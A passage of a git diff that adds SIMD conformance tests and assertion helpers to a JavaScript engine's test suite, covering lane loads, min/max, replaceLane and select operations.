+ assertThrowsInstanceOf(() => SIMD.Int32x4.load(ta, 1024), RangeError);
+ assertThrowsInstanceOf(() => SIMD.Uint32x4.load(ta, 1024), RangeError);
+ assertThrowsInstanceOf(() => SIMD.Float32x4.load(ta, 1024), RangeError);
+ assertThrowsInstanceOf(() => SIMD.Float64x2.load(ta, 1024), RangeError);
+ }
+}
+
+testSharedArrayBufferCompat();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/SIMD/load-unsigned-integers.js b/js/src/tests/ecma_7/SIMD/load-unsigned-integers.js
new file mode 100644
index 000000000..381e7b60a
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/load-unsigned-integers.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var { testLoad } = Helpers;
+
+testLoad('Uint8x16', new Uint8Array(SIZE_8_ARRAY));
+testLoad('Uint16x8', new Uint16Array(SIZE_16_ARRAY));
+testLoad('Uint32x4', new Uint32Array(SIZE_32_ARRAY));
+
+if (typeof SharedArrayBuffer != "undefined") {
+ testLoad('Uint8x16', new Uint8Array(new SharedArrayBuffer(SIZE_8_ARRAY)));
+ testLoad('Uint16x8', new Uint16Array(new SharedArrayBuffer(SIZE_8_ARRAY)));
+ testLoad('Uint32x4', new Uint32Array(new SharedArrayBuffer(SIZE_8_ARRAY)));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/ecma_7/SIMD/minmax.js b/js/src/tests/ecma_7/SIMD/minmax.js
new file mode 100644
index 000000000..9742b70d1
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/minmax.js
@@ -0,0 +1,85 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var Float32x4 = SIMD.Float32x4;
+var Float64x2 = SIMD.Float64x2;
+
+function testMaxFloat32(v, w) {
+ return testBinaryFunc(v, w, Float32x4.max, (x, y) => Math.fround(Math.max(x, y)), 4);
+}
+function testMinFloat32(v, w) {
+ return testBinaryFunc(v, w, Float32x4.min, (x, y) => Math.fround(Math.min(x, y)), 4);
+}
+
+function testMaxFloat64(v, w) {
+ return testBinaryFunc(v, w, Float64x2.max, (x, y) => Math.max(x, y), 2);
+}
+function testMinFloat64(v, w) {
+ return testBinaryFunc(v, w, Float64x2.min, (x, y) => Math.min(x, y), 2);
+}
+
+function maxNum(x, y) {
+ if (x != x)
+ return y;
+ if (y != y)
+ return x;
+ return Math.max(x, y);
+}
+
+function minNum(x, y) {
+ if (x != x)
+ return y;
+ if (y != y)
+ return x;
+ return Math.min(x, y);
+}
+
+function testMaxNumFloat32(v, w) {
+ return testBinaryFunc(v, w, Float32x4.maxNum, maxNum, 4);
+}
+function testMinNumFloat32(v, w) {
+ return testBinaryFunc(v, w, Float32x4.minNum, minNum, 4);
+}
+
+function testMaxNumFloat64(v, w) {
+ return testBinaryFunc(v, w, Float64x2.maxNum, maxNum, 2);
+}
+function testMinNumFloat64(v, w) {
+ return testBinaryFunc(v, w, Float64x2.minNum, minNum, 2);
+}
+
+function test() {
+ var v, w;
+ for ([v, w] of [[Float32x4(1, 20, 30, 4), Float32x4(10, 2, 3, 40)],
+ [Float32x4(9.999, 2.1234, 30.4443, 4), Float32x4(10, 2.1233, 30.4444, 4.0001)],
+ [Float32x4(NaN, -Infinity, +Infinity, -0), Float32x4(13.37, 42.42, NaN, 0)]])
+ {
+ testMinFloat32(v, w);
+ testMaxFloat32(v, w);
+ testMinNumFloat32(v, w);
+ testMaxNumFloat32(v, w);
+ }
+
+ for ([v, w] of [[Float64x2(1, 20), Float64x2(10, 2)],
+ [Float64x2(30, 4), Float64x2(3, 40)],
+ [Float64x2(9.999, 2.1234), Float64x2(10, 2.1233)],
+ [Float64x2(30.4443, 4), Float64x2(30.4444, 4.0001)],
+ [Float64x2(NaN, -Infinity), Float64x2(13.37, 42.42)],
+ [Float64x2(+Infinity, -0), Float64x2(NaN, 0)]])
+ {
+ testMinFloat64(v, w);
+ testMaxFloat64(v, w);
+ testMinNumFloat64(v, w);
+ testMaxNumFloat64(v, w);
+ }
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+}
+
+test();
+
diff --git a/js/src/tests/ecma_7/SIMD/replaceLane.js b/js/src/tests/ecma_7/SIMD/replaceLane.js
new file mode 100644
index 000000000..b285dc271
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/replaceLane.js
@@ -0,0 +1,226 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+var Float32x4 = SIMD.Float32x4;
+var Float64x2 = SIMD.Float64x2;
+var Int8x16 = SIMD.Int8x16;
+var Int16x8 = SIMD.Int16x8;
+var Int32x4 = SIMD.Int32x4;
+var Uint8x16 = SIMD.Uint8x16;
+var Uint16x8 = SIMD.Uint16x8;
+var Uint32x4 = SIMD.Uint32x4;
+var Bool8x16 = SIMD.Bool8x16;
+var Bool16x8 = SIMD.Bool16x8;
+var Bool32x4 = SIMD.Bool32x4;
+var Bool64x2 = SIMD.Bool64x2;
+
+function replaceLaneN(laneIndex, arr, value) {
+ var copy = arr.slice();
+ assertEq(laneIndex <= arr.length, true);
+ copy[laneIndex] = value;
+ return copy;
+}
+
+var replaceLane0 = replaceLaneN.bind(null, 0);
+var replaceLane1 = replaceLaneN.bind(null, 1);
+var replaceLane2 = replaceLaneN.bind(null, 2);
+var replaceLane3 = replaceLaneN.bind(null, 3);
+var replaceLane4 = replaceLaneN.bind(null, 4);
+var replaceLane5 = replaceLaneN.bind(null, 5);
+var replaceLane6 = replaceLaneN.bind(null, 6);
+var replaceLane7 = replaceLaneN.bind(null, 7);
+var replaceLane8 = replaceLaneN.bind(null, 8);
+var replaceLane9 = replaceLaneN.bind(null, 9);
+var replaceLane10 = replaceLaneN.bind(null, 10);
+var replaceLane11 = replaceLaneN.bind(null, 11);
+var replaceLane12 = replaceLaneN.bind(null, 12);
+var replaceLane13 = replaceLaneN.bind(null, 13);
+var replaceLane14 = replaceLaneN.bind(null, 14);
+var replaceLane15 = replaceLaneN.bind(null, 15);
+
+function testReplaceLane(vec, scalar, simdFunc, func) {
+ var varr = simdToArray(vec);
+ var observed = simdToArray(simdFunc(vec, scalar));
+ var expected = func(varr, scalar);
+ for (var i = 0; i < observed.length; i++)
+ assertEq(observed[i], expected[i]);
+}
+
+function test() {
+ function testType(type, inputs) {
+ var length = simdToArray(inputs[0][0]).length;
+ for (var [vec, s] of inputs) {
+ testReplaceLane(vec, s, (x,y) => SIMD[type].replaceLane(x, 0, y), replaceLane0);
+ testReplaceLane(vec, s, (x,y) => SIMD[type].replaceLane(x, 1, y), replaceLane1);
+ if (length <= 2)
+ continue;
+ testReplaceLane(vec, s, (x,y) => SIMD[type].replaceLane(x, 2, y), replaceLane2);
+ testReplaceLane(vec, s, (x,y) => SIMD[type].replaceLane(x, 3, y), replaceLane3);
+ if (length <= 4)
+ continue;
+ testReplaceLane(vec, s, (x,y) => SIMD[type].replaceLane(x, 4, y), replaceLane4);
+ testReplaceLane(vec, s, (x,y) => SIMD[type].replaceLane(x, 5, y), replaceLane5);
+ testReplaceLane(vec, s, (x,y) => SIMD[type].replaceLane(x, 6, y), replaceLane6);
+ testReplaceLane(vec, s, (x,y) => SIMD[type].replaceLane(x, 7, y), replaceLane7);
+ if (length <= 8)
+ continue;
+ testReplaceLane(vec, s, (x,y) => SIMD[type].replaceLane(x, 8, y), replaceLane8);
+ testReplaceLane(vec, s, (x,y) => SIMD[type].replaceLane(x, 9, y), replaceLane9);
+ testReplaceLane(vec, s, (x,y) => SIMD[type].replaceLane(x, 10, y), replaceLane10);
+ testReplaceLane(vec, s, (x,y) => SIMD[type].replaceLane(x, 11, y), replaceLane11);
+ testReplaceLane(vec, s, (x,y) => SIMD[type].replaceLane(x, 12, y), replaceLane12);
+ testReplaceLane(vec, s, (x,y) => SIMD[type].replaceLane(x, 13, y), replaceLane13);
+ testReplaceLane(vec, s, (x,y) => SIMD[type].replaceLane(x, 14, y), replaceLane14);
+ testReplaceLane(vec, s, (x,y) => SIMD[type].replaceLane(x, 15, y), replaceLane15);
+ }
+ }
+
+ function TestError(){};
+ var good = {valueOf: () => 42};
+ var bad = {valueOf: () => {throw new TestError(); }};
+
+ var Float32x4inputs = [
+ [Float32x4(1, 2, 3, 4), 5],
+ [Float32x4(1.87, 2.08, 3.84, 4.17), Math.fround(13.37)],
+ [Float32x4(NaN, -0, Infinity, -Infinity), 0]
+ ];
+ testType('Float32x4', Float32x4inputs);
+
+ var v = Float32x4inputs[1][0];
+ assertEqX4(Float32x4.replaceLane(v, 0), replaceLane0(simdToArray(v), NaN));
+ assertEqX4(Float32x4.replaceLane(v, 0, good), replaceLane0(simdToArray(v), good | 0));
+ assertThrowsInstanceOf(() => Float32x4.replaceLane(v, 0, bad), TestError);
+ assertThrowsInstanceOf(() => Float32x4.replaceLane(v, 4, good), RangeError);
+ assertThrowsInstanceOf(() => Float32x4.replaceLane(v, 1.1, good), RangeError);
+
+ var Float64x2inputs = [
+ [Float64x2(1, 2), 5],
+ [Float64x2(1.87, 2.08), Math.fround(13.37)],
+ [Float64x2(NaN, -0), 0]
+ ];
+ testType('Float64x2', Float64x2inputs);
+
+ var v = Float64x2inputs[1][0];
+ assertEqX2(Float64x2.replaceLane(v, 0), replaceLane0(simdToArray(v), NaN));
+ assertEqX2(Float64x2.replaceLane(v, 0, good), replaceLane0(simdToArray(v), good | 0));
+ assertThrowsInstanceOf(() => Float64x2.replaceLane(v, 0, bad), TestError);
+ assertThrowsInstanceOf(() => Float64x2.replaceLane(v, 2, good), RangeError);
+ assertThrowsInstanceOf(() => Float64x2.replaceLane(v, 1.1, good), RangeError);
+
+ var Int8x16inputs = [[Int8x16(0, 1, 2, 3, 4, 5, 6, 7, -1, -2, -3, -4, -5, -6, INT8_MIN, INT8_MAX), 17]];
+ testType('Int8x16', Int8x16inputs);
+
+ var v = Int8x16inputs[0][0];
+ assertEqX16(Int8x16.replaceLane(v, 0), replaceLane0(simdToArray(v), 0));
+ assertEqX16(Int8x16.replaceLane(v, 0, good), replaceLane0(simdToArray(v), good | 0));
+ assertThrowsInstanceOf(() => Int8x16.replaceLane(v, 0, bad), TestError);
+ assertThrowsInstanceOf(() => Int8x16.replaceLane(v, 16, good), RangeError);
+ assertThrowsInstanceOf(() => Int8x16.replaceLane(v, 1.1, good), RangeError);
+
+ var Int16x8inputs = [[Int16x8(0, 1, 2, 3, -1, -2, INT16_MIN, INT16_MAX), 9]];
+ testType('Int16x8', Int16x8inputs);
+
+ var v = Int16x8inputs[0][0];
+ assertEqX8(Int16x8.replaceLane(v, 0), replaceLane0(simdToArray(v), 0));
+ assertEqX8(Int16x8.replaceLane(v, 0, good), replaceLane0(simdToArray(v), good | 0));
+ assertThrowsInstanceOf(() => Int16x8.replaceLane(v, 0, bad), TestError);
+ assertThrowsInstanceOf(() => Int16x8.replaceLane(v, 8, good), RangeError);
+ assertThrowsInstanceOf(() => Int16x8.replaceLane(v, 1.1, good), RangeError);
+
+ var Int32x4inputs = [
+ [Int32x4(1, 2, 3, 4), 5],
+ [Int32x4(INT32_MIN, INT32_MAX, 3, 4), INT32_MIN],
+ ];
+ testType('Int32x4', Int32x4inputs);
+
+ var v = Int32x4inputs[1][0];
+ assertEqX4(Int32x4.replaceLane(v, 0), replaceLane0(simdToArray(v), 0));
+ assertEqX4(Int32x4.replaceLane(v, 0, good), replaceLane0(simdToArray(v), good | 0));
+ assertThrowsInstanceOf(() => Int32x4.replaceLane(v, 0, bad), TestError);
+ assertThrowsInstanceOf(() => Int32x4.replaceLane(v, 4, good), RangeError);
+ assertThrowsInstanceOf(() => Int32x4.replaceLane(v, 1.1, good), RangeError);
+
+ var Uint8x16inputs = [[Uint8x16(0, 1, 2, 3, 4, 5, 6, 7, -1, -2, -3, -4, -5, -6, INT8_MIN, UINT8_MAX), 17]];
+ testType('Uint8x16', Uint8x16inputs);
+
+ var v = Uint8x16inputs[0][0];
+ assertEqX16(Uint8x16.replaceLane(v, 0), replaceLane0(simdToArray(v), 0));
+ assertEqX16(Uint8x16.replaceLane(v, 0, good), replaceLane0(simdToArray(v), good | 0));
+ assertThrowsInstanceOf(() => Uint8x16.replaceLane(v, 0, bad), TestError);
+ assertThrowsInstanceOf(() => Uint8x16.replaceLane(v, 16, good), RangeError);
+ assertThrowsInstanceOf(() => Uint8x16.replaceLane(v, 1.1, good), RangeError);
+
+ var Uint16x8inputs = [[Uint16x8(0, 1, 2, 3, -1, -2, INT16_MIN, UINT16_MAX), 9]];
+ testType('Uint16x8', Uint16x8inputs);
+
+ var v = Uint16x8inputs[0][0];
+ assertEqX8(Uint16x8.replaceLane(v, 0), replaceLane0(simdToArray(v), 0));
+ assertEqX8(Uint16x8.replaceLane(v, 0, good), replaceLane0(simdToArray(v), good | 0));
+ assertThrowsInstanceOf(() => Uint16x8.replaceLane(v, 0, bad), TestError);
+ assertThrowsInstanceOf(() => Uint16x8.replaceLane(v, 8, good), RangeError);
+ assertThrowsInstanceOf(() => Uint16x8.replaceLane(v, 1.1, good), RangeError);
+
+ var Uint32x4inputs = [
+ [Uint32x4(1, 2, 3, 4), 5],
+ [Uint32x4(INT32_MIN, UINT32_MAX, INT32_MAX, 4), UINT32_MAX],
+ ];
+ testType('Uint32x4', Uint32x4inputs);
+
+ var v = Uint32x4inputs[1][0];
+ assertEqX4(Uint32x4.replaceLane(v, 0), replaceLane0(simdToArray(v), 0));
+ assertEqX4(Uint32x4.replaceLane(v, 0, good), replaceLane0(simdToArray(v), good | 0));
+ assertThrowsInstanceOf(() => Uint32x4.replaceLane(v, 0, bad), TestError);
+ assertThrowsInstanceOf(() => Uint32x4.replaceLane(v, 4, good), RangeError);
+ assertThrowsInstanceOf(() => Uint32x4.replaceLane(v, 1.1, good), RangeError);
+
+ var Bool64x2inputs = [
+ [Bool64x2(true, true), false],
+ ];
+ testType('Bool64x2', Bool64x2inputs);
+
+ var v = Bool64x2inputs[0][0];
+ assertEqX2(Bool64x2.replaceLane(v, 0), replaceLane0(simdToArray(v), false));
+ assertEqX2(Bool64x2.replaceLane(v, 0, true), replaceLane0(simdToArray(v), true));
+ assertEqX2(Bool64x2.replaceLane(v, 0, bad), replaceLane0(simdToArray(v), true));
+ assertThrowsInstanceOf(() => Bool64x2.replaceLane(v, 4, true), RangeError);
+ assertThrowsInstanceOf(() => Bool64x2.replaceLane(v, 1.1, false), RangeError);
+
+ var Bool32x4inputs = [
+ [Bool32x4(true, true, true, true), false],
+ ];
+ testType('Bool32x4', Bool32x4inputs);
+
+ var v = Bool32x4inputs[0][0];
+ assertEqX4(Bool32x4.replaceLane(v, 0), replaceLane0(simdToArray(v), false));
+ assertEqX4(Bool32x4.replaceLane(v, 0, true), replaceLane0(simdToArray(v), true));
+ assertEqX4(Bool32x4.replaceLane(v, 0, bad), replaceLane0(simdToArray(v), true));
+ assertThrowsInstanceOf(() => Bool32x4.replaceLane(v, 4, true), RangeError);
+ assertThrowsInstanceOf(() => Bool32x4.replaceLane(v, 1.1, false), RangeError);
+
+ var Bool16x8inputs = [
+ [Bool16x8(true, true, true, true, true, true, true, true), false],
+ ];
+
+ testType('Bool16x8', Bool16x8inputs);
+ var v = Bool16x8inputs[0][0];
+ assertEqX8(Bool16x8.replaceLane(v, 0), replaceLane0(simdToArray(v), false));
+ assertEqX8(Bool16x8.replaceLane(v, 0, true), replaceLane0(simdToArray(v), true));
+ assertEqX8(Bool16x8.replaceLane(v, 0, bad), replaceLane0(simdToArray(v), true));
+ assertThrowsInstanceOf(() => Bool16x8.replaceLane(v, 16, true), RangeError);
+ assertThrowsInstanceOf(() => Bool16x8.replaceLane(v, 1.1, false), RangeError);
+
+ var Bool8x16inputs = [
+ [Bool8x16(true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true), false],
+ ];
+
+ testType('Bool8x16', Bool8x16inputs);
+ var v = Bool8x16inputs[0][0];
+ assertEqX16(Bool8x16.replaceLane(v, 0), replaceLane0(simdToArray(v), false));
+ assertEqX16(Bool8x16.replaceLane(v, 0, true), replaceLane0(simdToArray(v), true));
+ assertEqX16(Bool8x16.replaceLane(v, 0, bad), replaceLane0(simdToArray(v), true));
+ assertThrowsInstanceOf(() => Bool8x16.replaceLane(v, 16, true), RangeError);
+ assertThrowsInstanceOf(() => Bool8x16.replaceLane(v, 1.1, false), RangeError);
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+}
+
+test();
diff --git a/js/src/tests/ecma_7/SIMD/select-bitselect.js b/js/src/tests/ecma_7/SIMD/select-bitselect.js
new file mode 100644
index 000000000..61fcd1a3f
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/select-bitselect.js
@@ -0,0 +1,133 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var Float32x4 = SIMD.Float32x4;
+var Float64x2 = SIMD.Float64x2;
+var Int8x16 = SIMD.Int8x16;
+var Int16x8 = SIMD.Int16x8;
+var Int32x4 = SIMD.Int32x4;
+var Uint8x16 = SIMD.Uint8x16;
+var Uint16x8 = SIMD.Uint16x8;
+var Uint32x4 = SIMD.Uint32x4;
+var Bool8x16 = SIMD.Bool8x16;
+var Bool16x8 = SIMD.Bool16x8;
+var Bool32x4 = SIMD.Bool32x4;
+var Bool64x2 = SIMD.Bool64x2;
+
+function getMask(i, maskLength) {
+ var args = [];
+ for (var j = 0; j < maskLength; j++)
+ args.push((i >> j) & 1);
+ if (maskLength == 2)
+ return Bool64x2(...args);
+ else if (maskLength == 4)
+ return Bool32x4(...args);
+ else if (maskLength == 8)
+ return Bool16x8(...args);
+ else if (maskLength == 16)
+ return Bool8x16(...args);
+ else
+ throw new Error("Invalid mask length.");
+}
+
+function select(mask, ifTrue, ifFalse) {
+ var m = simdToArray(mask);
+ var tv = simdToArray(ifTrue);
+ var fv = simdToArray(ifFalse);
+ return m.map(function(v, i) {
+ return (v ? tv : fv)[i];
+ });
+}
+
+/**
+ * Tests type.select on all input pairs, for all possible masks. As the mask
+ * has 4 lanes (for Int32x4) and 2 possible values (true or false), there are 16 possible
+ * masks. For Int8x16, the mask has 16 lanes and 2 possible values, so there are 256
+ * possible masks. For Int16x8, the mask has 8 lanes and 2 possible values, so there
+ * are 64 possible masks.
+ */
+function testSelect(type, inputs) {
+ var x, y;
+ var maskLength = simdLengthType(type);
+ for (var i = 0; i < Math.pow(maskLength, 2); i++) {
+ var mask = getMask(i, maskLength);
+ for ([x, y] of inputs)
+ assertEqVec(type.select(mask, x, y), select(mask, x, y));
+ }
+}
+
+function test() {
+ var inputs = [
+ [Int8x16(0,4,9,16,25,36,49,64,81,121,-4,-9,-16,-25,-36,-49), Int8x16(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16)],
+ [Int8x16(-1, 2, INT8_MAX, INT8_MIN, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16),
+ Int8x16(INT8_MAX, -4, INT8_MIN, 42, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16)]
+ ];
+
+ testSelect(Int8x16, inputs);
+
+ inputs = [
+ [Int16x8(0,4,9,16,25,36,49,64), Int16x8(1,2,3,4,5,6,7,8)],
+ [Int16x8(-1, 2, INT16_MAX, INT16_MIN, 5, 6, 7, 8),
+ Int16x8(INT16_MAX, -4, INT16_MIN, 42, 5, 6, 7, 8)]
+ ];
+
+ testSelect(Int16x8, inputs);
+
+ inputs = [
+ [Int32x4(0,4,9,16), Int32x4(1,2,3,4)],
+ [Int32x4(-1, 2, INT32_MAX, INT32_MIN), Int32x4(INT32_MAX, -4, INT32_MIN, 42)]
+ ];
+
+ testSelect(Int32x4, inputs);
+
+ inputs = [
+ [Uint8x16(0,4,9,16,25,36,49,64,81,121,-4,-9,-16,-25,-36,-49), Uint8x16(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16)],
+ [Uint8x16(-1, 2, INT8_MAX, INT8_MIN, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16),
+ Uint8x16(INT8_MAX, -4, INT8_MIN, 42, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16)]
+ ];
+
+ testSelect(Uint8x16, inputs);
+
+ inputs = [
+ [Uint16x8(0,4,9,16,25,36,49,64), Uint16x8(1,2,3,4,5,6,7,8)],
+ [Uint16x8(-1, 2, INT16_MAX, INT16_MIN, 5, 6, 7, 8),
+ Uint16x8(INT16_MAX, -4, INT16_MIN, 42, 5, 6, 7, 8)]
+ ];
+
+ testSelect(Uint16x8, inputs);
+
+ inputs = [
+ [Uint32x4(0,4,9,16), Uint32x4(1,2,3,4)],
+ [Uint32x4(-1, 2, INT32_MAX, INT32_MIN), Uint32x4(INT32_MAX, -4, INT32_MIN, 42)]
+ ];
+
+ testSelect(Uint32x4, inputs);
+
+ inputs = [
+ [Float32x4(0.125,4.25,9.75,16.125), Float32x4(1.5,2.75,3.25,4.5)],
+ [Float32x4(-1.5,-0,NaN,-Infinity), Float32x4(1,-2,13.37,3.13)],
+ [Float32x4(1.5,2.75,NaN,Infinity), Float32x4(-NaN,-Infinity,9.75,16.125)]
+ ];
+
+ testSelect(Float32x4, inputs);
+
+ inputs = [
+ [Float64x2(0.125,4.25), Float64x2(9.75,16.125)],
+ [Float64x2(1.5,2.75), Float64x2(3.25,4.5)],
+ [Float64x2(-1.5,-0), Float64x2(NaN,-Infinity)],
+ [Float64x2(1,-2), Float64x2(13.37,3.13)],
+ [Float64x2(1.5,2.75), Float64x2(NaN,Infinity)],
+ [Float64x2(-NaN,-Infinity), Float64x2(9.75,16.125)]
+ ];
+
+ testSelect(Float64x2, inputs);
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+}
+
+test();
diff --git a/js/src/tests/ecma_7/SIMD/shell.js b/js/src/tests/ecma_7/SIMD/shell.js
new file mode 100644
index 000000000..943965390
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/shell.js
@@ -0,0 +1,580 @@
+function makeFloat(sign, exp, mantissa) {
+ assertEq(sign, sign & 0x1);
+ assertEq(exp, exp & 0xFF);
+ assertEq(mantissa, mantissa & 0x7FFFFF);
+
+ var i32 = new Int32Array(1);
+ var f32 = new Float32Array(i32.buffer);
+
+ i32[0] = (sign << 31) | (exp << 23) | mantissa;
+ return f32[0];
+}
+
+function makeDouble(sign, exp, mantissa) {
+ assertEq(sign, sign & 0x1);
+ assertEq(exp, exp & 0x7FF);
+
+ // Can't use bitwise operations on mantissa, as it might be a double
+ assertEq(mantissa <= 0xfffffffffffff, true);
+ var highBits = (mantissa / Math.pow(2, 32)) | 0;
+ var lowBits = mantissa - highBits * Math.pow(2, 32);
+
+ var i32 = new Int32Array(2);
+ var f64 = new Float64Array(i32.buffer);
+
+ // Note that this assumes little-endian order, which is the case on tier-1
+ // platforms.
+ i32[0] = lowBits;
+ i32[1] = (sign << 31) | (exp << 20) | highBits;
+ return f64[0];
+}
+
+function GetType(v) {
+ switch (Object.getPrototypeOf(v)) {
+ case SIMD.Int8x16.prototype: return SIMD.Int8x16;
+ case SIMD.Int16x8.prototype: return SIMD.Int16x8;
+ case SIMD.Int32x4.prototype: return SIMD.Int32x4;
+ case SIMD.Uint8x16.prototype: return SIMD.Uint8x16;
+ case SIMD.Uint16x8.prototype: return SIMD.Uint16x8;
+ case SIMD.Uint32x4.prototype: return SIMD.Uint32x4;
+ case SIMD.Float32x4.prototype: return SIMD.Float32x4;
+ case SIMD.Float64x2.prototype: return SIMD.Float64x2;
+ case SIMD.Bool8x16.prototype: return SIMD.Bool8x16;
+ case SIMD.Bool16x8.prototype: return SIMD.Bool16x8;
+ case SIMD.Bool32x4.prototype: return SIMD.Bool32x4;
+ case SIMD.Bool64x2.prototype: return SIMD.Bool64x2;
+ }
+}
+
+function assertEqFloat64x2(v, arr) {
+ try {
+ assertEq(SIMD.Float64x2.extractLane(v, 0), arr[0]);
+ assertEq(SIMD.Float64x2.extractLane(v, 1), arr[1]);
+ } catch (e) {
+ print("stack trace:", e.stack);
+ throw e;
+ }
+}
+
+function assertEqBool64x2(v, arr) {
+ try {
+ assertEq(SIMD.Bool64x2.extractLane(v, 0), arr[0]);
+ assertEq(SIMD.Bool64x2.extractLane(v, 1), arr[1]);
+ } catch (e) {
+ print("stack trace:", e.stack);
+ throw e;
+ }
+}
+
+function assertEqX2(v, arr) {
+ var Type = GetType(v);
+ if (Type === SIMD.Float64x2) assertEqFloat64x2(v, arr);
+ else if (Type === SIMD.Bool64x2) assertEqBool64x2(v, arr);
+ else throw new TypeError("Unknown SIMD kind.");
+}
+
+function assertEqInt32x4(v, arr) {
+ try {
+ for (var i = 0; i < 4; i++)
+ assertEq(SIMD.Int32x4.extractLane(v, i), arr[i]);
+ } catch (e) {
+ print("stack trace:", e.stack);
+ throw e;
+ }
+}
+
+function assertEqUint32x4(v, arr) {
+ try {
+ for (var i = 0; i < 4; i++)
+ assertEq(SIMD.Uint32x4.extractLane(v, i), arr[i]);
+ } catch (e) {
+ print("stack trace:", e.stack);
+ throw e;
+ }
+}
+
+function assertEqFloat32x4(v, arr) {
+ try {
+ for (var i = 0; i < 4; i++)
+ assertEq(SIMD.Float32x4.extractLane(v, i), arr[i]);
+ } catch (e) {
+ print("stack trace:", e.stack);
+ throw e;
+ }
+}
+
+function assertEqBool32x4(v, arr) {
+ try {
+ for (var i = 0; i < 4; i++)
+ assertEq(SIMD.Bool32x4.extractLane(v, i), arr[i]);
+ } catch (e) {
+ print("stack trace:", e.stack);
+ throw e;
+ }
+}
+
+function assertEqX4(v, arr) {
+ var Type = GetType(v);
+ if (Type === SIMD.Int32x4) assertEqInt32x4(v, arr);
+ else if (Type === SIMD.Uint32x4) assertEqUint32x4(v, arr);
+ else if (Type === SIMD.Float32x4) assertEqFloat32x4(v, arr);
+ else if (Type === SIMD.Bool32x4) assertEqBool32x4(v, arr);
+ else throw new TypeError("Unknown SIMD kind.");
+}
+
+function assertEqInt16x8(v, arr) {
+ try {
+ for (var i = 0; i < 8; i++)
+ assertEq(SIMD.Int16x8.extractLane(v, i), arr[i]);
+ } catch (e) {
+ print("stack trace:", e.stack);
+ throw e;
+ }
+}
+
+function assertEqUint16x8(v, arr) {
+ try {
+ for (var i = 0; i < 8; i++)
+ assertEq(SIMD.Uint16x8.extractLane(v, i), arr[i]);
+ } catch (e) {
+ print("stack trace:", e.stack);
+ throw e;
+ }
+}
+
+function assertEqBool16x8(v, arr) {
+ try {
+ for (var i = 0; i < 8; i++){
+ assertEq(SIMD.Bool16x8.extractLane(v, i), arr[i]);
+ }
+ } catch (e) {
+ print("stack trace:", e.stack);
+ throw e;
+ }
+}
+
+function assertEqX8(v, arr) {
+ var Type = GetType(v);
+ if (Type === SIMD.Int16x8) assertEqInt16x8(v, arr);
+ else if (Type === SIMD.Uint16x8) assertEqUint16x8(v, arr);
+ else if (Type === SIMD.Bool16x8) assertEqBool16x8(v, arr);
+ else throw new TypeError("Unknown x8 vector.");
+}
+
+function assertEqInt8x16(v, arr) {
+ try {
+ for (var i = 0; i < 16; i++)
+ assertEq(SIMD.Int8x16.extractLane(v, i), arr[i]);
+ } catch (e) {
+ print("stack trace:", e.stack);
+ throw e;
+ }
+}
+
+function assertEqUint8x16(v, arr) {
+ try {
+ for (var i = 0; i < 16; i++)
+ assertEq(SIMD.Uint8x16.extractLane(v, i), arr[i]);
+ } catch (e) {
+ print("stack trace:", e.stack);
+ throw e;
+ }
+}
+
+function assertEqBool8x16(v, arr) {
+ try {
+ for (var i = 0; i < 16; i++)
+ assertEq(SIMD.Bool8x16.extractLane(v, i), arr[i]);
+ } catch (e) {
+ print("stack trace:", e.stack);
+ throw e;
+ }
+}
+
+function assertEqX16(v, arr) {
+ var Type = GetType(v);
+ if (Type === SIMD.Int8x16) assertEqInt8x16(v, arr);
+ else if (Type === SIMD.Uint8x16) assertEqUint8x16(v, arr);
+ else if (Type === SIMD.Bool8x16) assertEqBool8x16(v, arr);
+ else throw new TypeError("Unknown x16 vector.");
+}
+
+function simdLength(v) {
+ var pt = Object.getPrototypeOf(v);
+ if (pt == SIMD.Int8x16.prototype || pt == SIMD.Uint8x16.prototype ||
+ pt === SIMD.Bool8x16.prototype)
+ return 16;
+ if (pt == SIMD.Int16x8.prototype || pt == SIMD.Uint16x8.prototype ||
+ pt === SIMD.Bool16x8.prototype)
+ return 8;
+ if (pt === SIMD.Int32x4.prototype || pt === SIMD.Uint32x4.prototype ||
+ pt === SIMD.Float32x4.prototype || pt === SIMD.Bool32x4.prototype)
+ return 4;
+ if (pt === SIMD.Float64x2.prototype || pt == SIMD.Bool64x2.prototype)
+ return 2;
+ throw new TypeError("Unknown SIMD kind.");
+}
+
+function simdLengthType(t) {
+ if (t == SIMD.Int8x16 || t == SIMD.Uint8x16 || t == SIMD.Bool8x16)
+ return 16;
+ else if (t == SIMD.Int16x8 || t == SIMD.Uint16x8 || t == SIMD.Bool16x8)
+ return 8;
+ else if (t == SIMD.Int32x4 || t == SIMD.Uint32x4 || t == SIMD.Float32x4 || t == SIMD.Bool32x4)
+ return 4;
+ else if (t == SIMD.Float64x2 || t == SIMD.Bool64x2)
+ return 2;
+ else
+ throw new TypeError("Unknown SIMD kind.");
+}
+
+function getAssertFuncFromLength(l) {
+ if (l == 2)
+ return assertEqX2;
+ else if (l == 4)
+ return assertEqX4;
